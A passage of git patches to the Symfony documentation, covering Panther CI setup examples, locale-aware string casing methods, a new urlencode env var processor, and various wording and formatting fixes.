+    ENV PANTHER_NO_SANDBOX 1
+    # Not mandatory, but recommended
+    ENV PANTHER_CHROME_ARGUMENTS='--disable-dev-shm-usage'
+    RUN apk add --no-cache chromium chromium-chromedriver
+
+    # Firefox and GeckoDriver (optional)
+    ARG GECKODRIVER_VERSION=0.28.0
+    RUN apk add --no-cache firefox libzip-dev; \
+        docker-php-ext-install zip
+    RUN wget -q https://github.com/mozilla/geckodriver/releases/download/v$GECKODRIVER_VERSION/geckodriver-v$GECKODRIVER_VERSION-linux64.tar.gz; \
+        tar -zxf geckodriver-v$GECKODRIVER_VERSION-linux64.tar.gz -C /usr/bin; \
+        rm geckodriver-v$GECKODRIVER_VERSION-linux64.tar.gz
+
+You can then build and run your image:
+
+.. code-block:: bash
+
+    $ docker build . -t myproject
+    $ docker run -it -v "$PWD":/srv/myproject -w /srv/myproject myproject bin/phpunit
+
+Integrating Panther In Your CI
+------------------------------
+
+Github Actions
+~~~~~~~~~~~~~~
+
+Panther works out of the box with `GitHub Actions`_.
+Here is a minimal ``.github/workflows/panther.yaml`` file to run Panther tests:
+
+.. code-block:: yaml
+
+    name: Run Panther tests
+
+    on: [ push, pull_request ]
+
+    jobs:
+      tests:
+
+        runs-on: ubuntu-latest
+
+        steps:
+          - uses: actions/checkout@v4
+          - uses: "ramsey/composer-install@v2"
+
+          - name: Install dependencies
+            run: composer install -q --no-ansi --no-interaction --no-scripts --no-progress --prefer-dist
+
+          - name: Run test suite
+            run: bin/phpunit
+
+Travis CI
+~~~~~~~~~
+
+Panther will work out of the box with `Travis CI`_ if you add the Chrome addon.
+Here is a minimal ``.travis.yaml`` file to run Panther tests:
+
+.. code-block:: yaml
+
+    language: php
+    addons:
+      # If you don't use Chrome, or Firefox, remove the corresponding line
+      chrome: stable
+      firefox: latest
+
+    php:
+      - 8.0
+
+    script:
+      - bin/phpunit
+
+Gitlab CI
+~~~~~~~~~
+
+Here is a minimal ``.gitlab-ci.yaml`` file to run Panther tests
+with `Gitlab CI`_:
+
+.. code-block:: yaml
+
+    image: ubuntu
+
+    before_script:
+      - apt-get update
+      - apt-get install software-properties-common -y
+      - ln -sf /usr/share/zoneinfo/Europe/Paris /etc/localtime
+      - apt-get install curl wget php php-cli php8.1 php8.1-common php8.1-curl php8.1-intl php8.1-xml php8.1-opcache php8.1-mbstring php8.1-zip libfontconfig1 fontconfig libxrender-dev libfreetype6 libxrender1 zlib1g-dev xvfb chromium-chromedriver firefox-geckodriver -y -qq
+      - export PANTHER_NO_SANDBOX=1
+      - export PANTHER_WEB_SERVER_PORT=9080
+      - php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
+      - php composer-setup.php --install-dir=/usr/local/bin --filename=composer
+      - php -r "unlink('composer-setup.php');"
+      - composer install -q --no-ansi --no-interaction --no-scripts --no-progress --prefer-dist
+
+    test:
+      script:
+        - bin/phpunit
+
+AppVeyor
+~~~~~~~~
+
+Panther will work out of the box with `AppVeyor`_ as long as Google Chrome
+is installed. Here is a minimal ``appveyor.yaml`` file to run Panther tests:
+
+.. code-block:: yaml
+
+    build: false
+    platform: x86
+    clone_folder: c:\projects\myproject
+
+    cache:
+      - '%LOCALAPPDATA%\Composer\files'
+
+    install:
+      - ps: Set-Service wuauserv -StartupType Manual
+      - cinst -y php composer googlechrome chromedriver firfox selenium-gecko-driver
+      - refreshenv
+      - cd c:\tools\php80
+      - copy php.ini-production php.ini /Y
+      - echo date.timezone="UTC" >> php.ini
+      - echo extension_dir=ext >> php.ini
+      - echo extension=php_openssl.dll >> php.ini
+      - echo extension=php_mbstring.dll >> php.ini
+      - echo extension=php_curl.dll >> php.ini
+      - echo memory_limit=3G >> php.ini
+      - cd %APPVEYOR_BUILD_FOLDER%
+      - composer install -q --no-ansi --no-interaction --no-scripts --no-progress --prefer-dist
+
+    test_script:
+      - cd %APPVEYOR_BUILD_FOLDER%
+      - php bin\phpunit
+
+Known Limitations and Troubleshooting
+-------------------------------------
+
+The following features are not currently supported:
+
+* Crawling XML documents (only HTML is supported)
+* Updating existing documents (browsers are mostly used to consume data, not to create webpages)
+* Setting form values using the multidimensional PHP array syntax
+* Methods returning an instance of ``\DOMElement`` (because this library uses ``WebDriverElement`` internally)
+* Selecting invalid choices in select
+
+Also, there is a known issue if you are using Bootstrap 5. It implements a
+scrolling effect, which tends to mislead Panther. To fix this, we advise you to
+deactivate this effect by setting the Bootstrap 5 ``$enable-smooth-scroll``
+variable to ``false`` in your style file:
+
+.. code-block:: scss
+
+    $enable-smooth-scroll: false;
+
+Additional Documentation
+------------------------
+
+Since Panther implements the API of popular libraries, you can find even more
+documentation:
+
+* For the ``Client`` class, by reading the
+  :doc:`BrowserKit component </components/browser_kit>` page
+* For the ``Crawler`` class, by reading the
+  :doc:`DomCrawler component </components/dom_crawler>` page
+* For WebDriver, by reading the `PHP WebDriver documentation`_
+
+.. _`dbrekelmans/browser-driver-installer`: https://github.com/dbrekelmans/browser-driver-installer
+.. _`ChromeDriver`: https://sites.google.com/chromium.org/driver/
+.. _`GeckoDriver`: https://github.com/mozilla/geckodriver
+.. _`PHPUnit`: https://phpunit.de/
+.. _`Mercure`: https://mercure.rocks/
+.. _`WebSocket`: https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API
+.. _`the arguments`: https://chromedriver.chromium.org/logging#TOC-All-languages
+.. _`PHP WebDriver documentation`: https://github.com/php-webdriver/php-webdriver
+.. _`Chrome's sandboxing`: https://chromium.googlesource.com/chromium/src/+/b4730a0c2773d8f6728946013eb812c6d3975bec/docs/design/sandbox.md
+.. _`GitHub Actions`: https://help.github.com/en/actions
+.. _`Travis CI`: https://travis-ci.com/
+.. _`Gitlab CI`: https://docs.gitlab.com/ee/ci/
+.. _`AppVeyor`: https://www.appveyor.com/
+.. _`LiipFunctionalTestBundle`: https://github.com/liip/LiipFunctionalTestBundle

From 18aaffb996053a8d1582062483abf88e94d0129c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 15 Nov 2023 16:58:44 +0100
Subject: [PATCH 5393/7107] [DI] Add note about testing service locators

---
 service_container/service_subscribers_locators.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 8b7eeb16f21..58c6650b730 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -926,6 +926,15 @@ To unit test a service subscriber, you can create a fake container::
     $serviceSubscriber = new MyService($container);
     // ...
 
+.. note::
+
+    When defining the service locator like this, beware that the
+    :method:`Symfony\\Contracts\\Service\\ServiceLocatorTrait::getProvidedServices`
+    of your container will use the return type of the closures as the values of the
+    returned array. If no return type is defined, the value will be ``?``. If you
+    want the values to reflect the classes of your services, the return type has
+    to be set on your closures.
+
 Another alternative is to mock it using ``PHPUnit``::
 
     use Psr\Container\ContainerInterface;

From 6682b7b0d21a4bf9c6c4e6311b5603fb6a21b8a5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 16 Nov 2023 10:30:26 +0100
Subject: [PATCH 5394/7107] Minor tweaks

---
 messenger.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 17bb50bc2ef..0bd5afa23ff 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2573,10 +2573,10 @@ of the process. For each, the event class is the event name:
 Message Serializer For Custom Data Formats
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-It is likely that you receive messages from other applications that are not
+If you receive messages from other applications, it's possible that they are not
 exactly in the format you need. Not all applications will return a JSON message
-with ``body`` and ``headers`` fields. In this case, you'll need to
-create a new message serializer. This can be done by implementing the
+with ``body`` and ``headers`` fields. In those cases, you'll need to create a
+new message serializer implementing the
 :class:`Symfony\\Component\\Messenger\\Transport\\Serialization\\SerializerInterface`.
 Let's say you want to create a message decoder::
 
@@ -2613,7 +2613,8 @@ Let's say you want to create a message decoder::
         }
     }
 
-Now that this serializer is created, you can use it in your transport:
+The next step is to tell Symfony to use this serializer in one or more of your
+transports:
 
 .. configuration-block::
 

From 004d60ede9518055c51e086bbd0f108f1205dd70 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 16 Nov 2023 16:17:07 +0100
Subject: [PATCH 5395/7107] add-label-for-links-entityType

---
 reference/forms/types/entity.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 6cd13520c9c..4d8c7f2b5ee 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -174,7 +174,7 @@ instead of the ``default`` entity manager.
 **type**: ``Doctrine\ORM\QueryBuilder`` or a ``callable`` **default**: ``null``
 
 Allows you to create a custom query for your choices. See
-:ref:`ref-form-entity-query-builder` for an example.
+:ref:`how to use it <ref-form-entity-query-builder>` for an example.
 
 The value of this option can either be a ``QueryBuilder`` object, a callable or
 ``null`` (which will load all entities). When using a callable, you will be
@@ -211,7 +211,7 @@ submitted.
 
 Instead of allowing the `class`_ and `query_builder`_ options to fetch the
 entities to include for you, you can pass the ``choices`` option directly.
-See :ref:`reference-forms-entity-choices`.
+See :ref:`how to use choices <reference-forms-entity-choices>`.
 
 ``data_class``
 ~~~~~~~~~~~~~~

From 4a9b28f1ea710a2387e147bbf6b772a6c6e8c2f3 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 16 Nov 2023 16:10:39 +0100
Subject: [PATCH 5396/7107] [Reference] Form empty data option - Update
 repetitive text

---
 .../forms/types/options/empty_data_description.rst.inc | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/reference/forms/types/options/empty_data_description.rst.inc b/reference/forms/types/options/empty_data_description.rst.inc
index 90e111fb202..e654a7037df 100644
--- a/reference/forms/types/options/empty_data_description.rst.inc
+++ b/reference/forms/types/options/empty_data_description.rst.inc
@@ -15,14 +15,12 @@ This will still render an empty text box, but upon submission the ``John Doe``
 value will be set. Use the ``data`` or ``placeholder`` options to show this
 initial value in the rendered form.
 
-If a form is compound, you can set ``empty_data`` as an array, object or
-closure. See the :doc:`/form/use_empty_data` article for more details about
-these options.
-
 .. note::
 
-    If you want to set the ``empty_data`` option for your entire form class,
-    see the :doc:`/form/use_empty_data` article.
+    If a form is compound, you can set ``empty_data`` as an array, object or
+    closure. This option can be set for your entire form class, see the
+    :doc:`/form/use_empty_data` article for more details about these
+    options.
 
 .. caution::
 

From 7349989b9bb413653def0fda189e057845fdc081 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 19 Nov 2023 15:01:25 +0100
Subject: [PATCH 5397/7107] [String] New locale aware casing methods

---
 components/string.rst | 21 +++++++++++++++++----
 1 file changed, 17 insertions(+), 4 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index f743849fd19..ba73e7387b6 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -203,7 +203,10 @@ Methods to Change Case
 ::
 
     // changes all graphemes/code points to lower case
-    u('FOO Bar')->lower();  // 'foo bar'
+    u('FOO Bar Brİan')->lower();  // 'foo bar bri̇an'
+    // changes all graphemes/code points to lower case according to locale-specific case mappings
+    u('FOO Bar Brİan')->localeLower('en');  // 'foo bar bri̇an'
+    u('FOO Bar Brİan')->localeLower('lt');  // 'foo bar bri̇̇an'
 
     // when dealing with different languages, uppercase/lowercase is not enough
     // there are three cases (lower, upper, title), some characters have no case,
@@ -213,11 +216,17 @@ Methods to Change Case
     u('Die O\'Brian Straße')->folded(); // "die o'brian strasse"
 
     // changes all graphemes/code points to upper case
-    u('foo BAR')->upper(); // 'FOO BAR'
+    u('foo BAR bάz')->upper(); // 'FOO BAR BΆZ'
+    // changes all graphemes/code points to upper case according to locale-specific case mappings
+    u('foo BAR bάz')->localeUpper('en'); // 'FOO BAR BΆZ'
+    u('foo BAR bάz')->localeUpper('el'); // 'FOO BAR BAZ'
 
     // changes all graphemes/code points to "title case"
-    u('foo bar')->title();     // 'Foo bar'
-    u('foo bar')->title(true); // 'Foo Bar'
+    u('foo ijssel ')->title();     // 'Foo ijssel'
+    u('foo ijssel')->title(true); // 'Foo Ijssel'
+    // changes all graphemes/code points to "title case" according to locale-specific case mappings
+    u('foo ijssel')->localeTitle('en');     // 'Foo ijssel'
+    u('foo ijssel')->localeTitle('nl');     // 'Foo IJssel'
 
     // changes all graphemes/code points to camelCase
     u('Foo: Bar-baz.')->camel(); // 'fooBarBaz'
@@ -226,6 +235,10 @@ Methods to Change Case
     // other cases can be achieved by chaining methods. E.g. PascalCase:
     u('Foo: Bar-baz.')->camel()->title(); // 'FooBarBaz'
 
+.. versionadded:: 7.1
+    The ``localeLower()``, ``localeUpper()`` and ``localeTitle()`` methods were
+    introduced in Symfony 7.1.
+
 The methods of all string classes are case-sensitive by default. You can perform
 case-insensitive operations with the ``ignoreCase()`` method::
 

From 7bc6963b52bb85fd17b1a6c0154eeaeb39f4d615 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sun, 19 Nov 2023 18:26:40 +0100
Subject: [PATCH 5398/7107] [AssetMapper] Minor syntax fix

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 7c33cc6c816..1f10c8e3931 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1006,7 +1006,7 @@ you pass to ``importmap()``.
 
     If you look at the source of your page, by default, the ``<script type="module">``
     from ``importmap()`` will contain ``import 'app';`` - not something like
-    ``import ``/assets/app-4e986c1a2318dd050b1d47.js``. Both would work - but
+    ``import /assets/app-4e986c1a2318dd050b1d47.js``. Both would work - but
     because ``app`` appears in your ``importmap.php``, the browser will read ``app``
     from the ``importmap`` on the page and ultimately load ``/assets/app-4e986c1a2318dd050b1d47.js``
 

From 32807059cf0c0f42925eaf7af64320f7338d48e2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 20 Nov 2023 09:12:08 +0100
Subject: [PATCH 5399/7107] [Form] Deprecate using `UrlType` without setting
 `default_protocol`

---
 reference/forms/types/url.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index 5f97fcb89a4..96984b23226 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -31,6 +31,11 @@ If a value is submitted that doesn't begin with some protocol (e.g. ``http://``,
 ``ftp://``, etc), this protocol will be prepended to the string when
 the data is submitted to the form.
 
+.. deprecated:: 7.1
+
+    Not setting the ``default_protocol`` option is deprecated since Symfony 7.1
+    and will default to ``null`` in Symfony 8.0.
+
 Overridden Options
 ------------------
 

From 64ad9e659ac34d56611f8aaa6ef161ebb8bf5fc0 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 20 Nov 2023 10:25:52 +0100
Subject: [PATCH 5400/7107] [DependencyInjection] Prepend extension config with
 ContainerConfigurator

---
 bundles/prepend_extension.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index bed3d06da43..4bd1c7c6a67 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -186,6 +186,34 @@ method::
 
     The ``prependExtension()`` method, like ``prepend()``, is called only at compile time.
 
+Alternatively, you can use the ``prepend`` parameter of the
+:method:`Symfony\\Component\\DependencyInjection\\Loader\\ContainerConfigurator::extension`
+method::
+
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class FooBundle extends AbstractBundle
+    {
+        public function prependExtension(ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
+        {
+            // ...
+
+            $containerConfigurator->extension('framework', [
+                'cache' => ['prefix_seed' => 'foo/bar'],
+            ], prepend: true);
+
+            // ...
+        }
+    }
+
+.. versionadded:: 7.1
+
+    The ``prepend`` parameter of the
+    :method:`Symfony\\Component\\DependencyInjection\\Loader\\ContainerConfigurator::extension`
+    method was added in Symfony 7.1.
+
 More than one Bundle using PrependExtensionInterface
 ----------------------------------------------------
 

From 0091e415339f4ffa6d3300cde661cd58f0a92e8d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 20 Nov 2023 16:28:23 +0100
Subject: [PATCH 5401/7107] Clean deprecated directives

---
 components/http_foundation.rst | 5 -----
 components/var_exporter.rst    | 6 ------
 2 files changed, 11 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 47be5693bb0..52b999f0f2c 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -518,11 +518,6 @@ It is possible to define partitioned cookies, also known as `CHIPS`_, by using t
     // you can also set the partitioned argument to true when using the `create()` factory method
     $cookie = Cookie::create('name', 'value', partitioned: true);
 
-.. versionadded:: 6.4
-
-    The :method:`Symfony\\Component\\HttpFoundation\\Cookie::withPartitioned`
-    method was introduced in Symfony 6.4.
-
 Managing the HTTP Cache
 ~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 2b01b7a3f2a..634e4be78cb 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -224,12 +224,6 @@ initialized::
         }
     }
 
-.. deprecated:: 6.4
-
-    Using an array of closures for property-based initialization in the
-    ``createLazyGhost()`` method is deprecated since Symfony 6.4. Pass
-    a single closure that initializes the whole object instead.
-
 :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait` also allows to
 convert non-lazy classes to lazy ones::
 

From 4eb2f258b6552f28e69691c34ab60978c82ab60c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 19 Nov 2023 15:40:05 +0100
Subject: [PATCH 5402/7107] [DependencyInjection] Add urlencode function to
 EnvVarProcessor

---
 configuration/env_var_processors.rst | 50 ++++++++++++++++++++++++++++
 doctrine.rst                         |  9 ++---
 2 files changed, 55 insertions(+), 4 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index eba9f4a482c..fc512c84e8e 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -812,6 +812,56 @@ Symfony provides the following env var processors:
             // config/services.php
             $container->setParameter('typed_env', '%env(defined:FOO)%');
 
+.. _urlencode_environment_variable_processor:
+
+``env(urlencode:FOO)``
+    Urlencode the content of ``FOO`` env var. This is especially useful when
+    ``FOO`` value is not compatible with DSN syntax.
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/framework.yaml
+            parameters:
+                env(DATABASE_URL): 'mysql://db_user:foo@b$r@127.0.0.1:3306/db_name'
+                encoded_database_url: '%env(urlencode:DATABASE_URL)%'
+
+        .. code-block:: xml
+
+            <!-- config/packages/framework.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <parameters>
+                    <parameter key="env(DATABASE_URL)">mysql://db_user:foo@b$r@127.0.0.1:3306/db_name</parameter>
+                    <parameter key="encoded_database_url">%env(urlencode:DATABASE_URL)%</parameter>
+                </parameters>
+            </container>
+
+        .. code-block:: php
+
+            // config/packages/framework.php
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container): void {
+                $container->setParameter('env(DATABASE_URL)', 'mysql://db_user:foo@b$r@127.0.0.1:3306/db_name');
+                $container->setParameter('encoded_database_url', '%env(urlencode:DATABASE_URL)%');
+            };
+
+    .. versionadded:: 7.1
+
+        The ``env(urlencode:...)`` env var processor was introduced in Symfony 7.1.
+
 It is also possible to combine any number of processors:
 
 .. configuration-block::
diff --git a/doctrine.rst b/doctrine.rst
index f17307108c1..b024c4e7a4c 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -59,10 +59,11 @@ The database connection information is stored as an environment variable called
 
     If the username, password, host or database name contain any character considered
     special in a URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``, ``%``),
-    you must encode them. See `RFC 3986`_ for the full list of reserved characters or
-    use the :phpfunction:`urlencode` function to encode them. In this case you need to
-    remove the ``resolve:`` prefix in ``config/packages/doctrine.yaml`` to avoid errors:
-    ``url: '%env(DATABASE_URL)%'``
+    you must encode them. See `RFC 3986`_ for the full list of reserved characters.
+    You can use the :phpfunction:`urlencode` function to encode them or
+    the :ref:`urlencode environment variable processor <urlencode_environment_variable_processor>`.
+    In this case you need to remove the ``resolve:`` prefix in ``config/packages/doctrine.yaml``
+    to avoid errors: ``url: '%env(DATABASE_URL)%'``
 
 Now that your connection parameters are setup, Doctrine can create the ``db_name``
 database for you:

From 6e8fd5f7e31e9c1186a1fa380bd9670e43638ec0 Mon Sep 17 00:00:00 2001
From: BooleanType <BooleanType1990@gmail.com>
Date: Mon, 20 Nov 2023 22:31:00 +0100
Subject: [PATCH 5403/7107] Update doctrine.rst

---
 doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 7a45f0037a1..d14a6fade6c 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -691,7 +691,7 @@ will automatically fetch them::
      * Fetch via primary key because {id} is in the route.
      */
     #[Route('/product/{id}')]
-    public function showByPk(Post $post): Response
+    public function showByPk(Product $product): Response
     {
     }
 
@@ -699,7 +699,7 @@ will automatically fetch them::
      * Perform a findOneBy() where the slug property matches {slug}.
      */
     #[Route('/product/{slug}')]
-    public function showBySlug(Post $post): Response
+    public function showBySlug(Product $product): Response
     {
     }
 

From 496efd8d78f33af1524205d58b4c20c94399ecfc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 21 Nov 2023 09:11:46 +0100
Subject: [PATCH 5404/7107] Add note about indexing config classes

---
 configuration.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index e34e32aeb04..4430e44a70e 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -1304,6 +1304,11 @@ namespace ``Symfony\Config``::
     Nested configs (e.g. ``\Symfony\Config\Framework\CacheConfig``) are regular
     PHP objects which aren't autowired when using them as an argument type.
 
+.. note::
+
+    Be sure to not exclude the ``kernel.build_dir`` directory from your IDE
+    indexing, otherwise you won't get autocompletion for the ConfigBuilders.
+
 Keep Going!
 -----------
 

From 19dcac3f681eff9bdf1970cc4f228a2063b21814 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 20 Nov 2023 22:04:43 +0100
Subject: [PATCH 5405/7107] Improving list formating

---
 routing.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index b9e5492c612..b5d1e5cc95c 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2565,8 +2565,11 @@ It will help you understand and hopefully fixing unexpected behavior in your app
 Generating URLs
 ---------------
 
-Routing systems are bidirectional: 1) they associate URLs with controllers (as
-explained in the previous sections); 2) they generate URLs for a given route.
+Routing systems are bidirectional:
+
+1. they associate URLs with controllers (as explained in the previous sections);
+2. they generate URLs for a given route.
+
 Generating URLs from routes allows you to not write the ``<a href="...">``
 values manually in your HTML templates. Also, if the URL of some route changes,
 you only have to update the route configuration and all links will be updated.

From a3fe10800a2b92596c19f341d5cfa1bd4eba09ab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Nov 2023 13:41:35 +0100
Subject: [PATCH 5406/7107] Tweaks

---
 configuration.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 4430e44a70e..ba35e868df1 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -1306,8 +1306,9 @@ namespace ``Symfony\Config``::
 
 .. note::
 
-    Be sure to not exclude the ``kernel.build_dir`` directory from your IDE
-    indexing, otherwise you won't get autocompletion for the ConfigBuilders.
+    In order to get ConfigBuilders autocompletion in your IDE/editor, make sure
+    to not exclude the directory where these classes are generated (by default,
+    in ``var/cache/dev/Symfony/Config/``).
 
 Keep Going!
 -----------

From 296ee9de94f2652b2ffed15b459d5dc2f13438b5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Nov 2023 14:39:56 +0100
Subject: [PATCH 5407/7107] Tweaks

---
 components/string.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index ba73e7387b6..36df10f4597 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -222,11 +222,11 @@ Methods to Change Case
     u('foo BAR bάz')->localeUpper('el'); // 'FOO BAR BAZ'
 
     // changes all graphemes/code points to "title case"
-    u('foo ijssel ')->title();     // 'Foo ijssel'
+    u('foo ijssel')->title();     // 'Foo ijssel'
     u('foo ijssel')->title(true); // 'Foo Ijssel'
     // changes all graphemes/code points to "title case" according to locale-specific case mappings
-    u('foo ijssel')->localeTitle('en');     // 'Foo ijssel'
-    u('foo ijssel')->localeTitle('nl');     // 'Foo IJssel'
+    u('foo ijssel')->localeTitle('en'); // 'Foo ijssel'
+    u('foo ijssel')->localeTitle('nl'); // 'Foo IJssel'
 
     // changes all graphemes/code points to camelCase
     u('Foo: Bar-baz.')->camel(); // 'fooBarBaz'

From bd32bca3dd78231b066d59e6af4aeba0e910492e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Nov 2023 14:47:57 +0100
Subject: [PATCH 5408/7107] Mention the PHP urlencode() function

---
 configuration/env_var_processors.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index fc512c84e8e..6953781e187 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -815,8 +815,9 @@ Symfony provides the following env var processors:
 .. _urlencode_environment_variable_processor:
 
 ``env(urlencode:FOO)``
-    Urlencode the content of ``FOO`` env var. This is especially useful when
-    ``FOO`` value is not compatible with DSN syntax.
+    Encodes the content of the ``FOO`` env var using the :phpfunction:`urlencode`
+    PHP function. This is especially useful when ``FOO`` value is not compatible
+    with DSN syntax.
 
     .. configuration-block::
 

From cffa8fe9859ebb8a84e1f2fe0e8acfcbad7bc9fa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Nov 2023 15:08:50 +0100
Subject: [PATCH 5409/7107] Minor tweak

---
 mailer.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 0f8d11c627b..ba55d4964de 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1599,8 +1599,10 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 
 .. tip::
 
-   If your controller returns a redirect response after sending the email, make sure to have your client *not* follow redirects.
-   The kernel is rebooted after following the redirection and the message lost from the mailer event handler.
+   If your controller returns a redirect response after sending the email, make
+   sure to have your client *not* follow redirects. The kernel is rebooted after
+   following the redirection and the message will be lost from the mailer event
+   handler.
 
 .. _`Amazon SES`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Amazon/README.md
 .. _`App Password`: https://support.google.com/accounts/answer/185833

From 8e6033b3fa1acfa53a703a58649d03adecb960b5 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 21 Nov 2023 15:42:11 +0100
Subject: [PATCH 5410/7107] Renaming W3C to HTML5...

...since the links doesn't lead to W3C ;-)
---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 1f10c8e3931..afeadbdad11 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -23,7 +23,7 @@ The AssetMapper component has two main features:
 * :ref:`Importmaps <importmaps-javascript>`: A native browser feature that makes it easier
   to use the JavaScript ``import`` statement (e.g. ``import { Modal } from 'bootstrap'``)
   without a build system. It's supported in all browsers (thanks to a shim)
-  and is a `W3C standard <https://html.spec.whatwg.org/multipage/webappapis.html#import-maps>`_.
+  and is part of the `HTML5 standard <https://html.spec.whatwg.org/multipage/webappapis.html#import-maps>`_.
 
 Installation
 ------------

From dc57a9f324ec68131adaddc25cd50f59d35b2f1b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Nov 2023 16:01:31 +0100
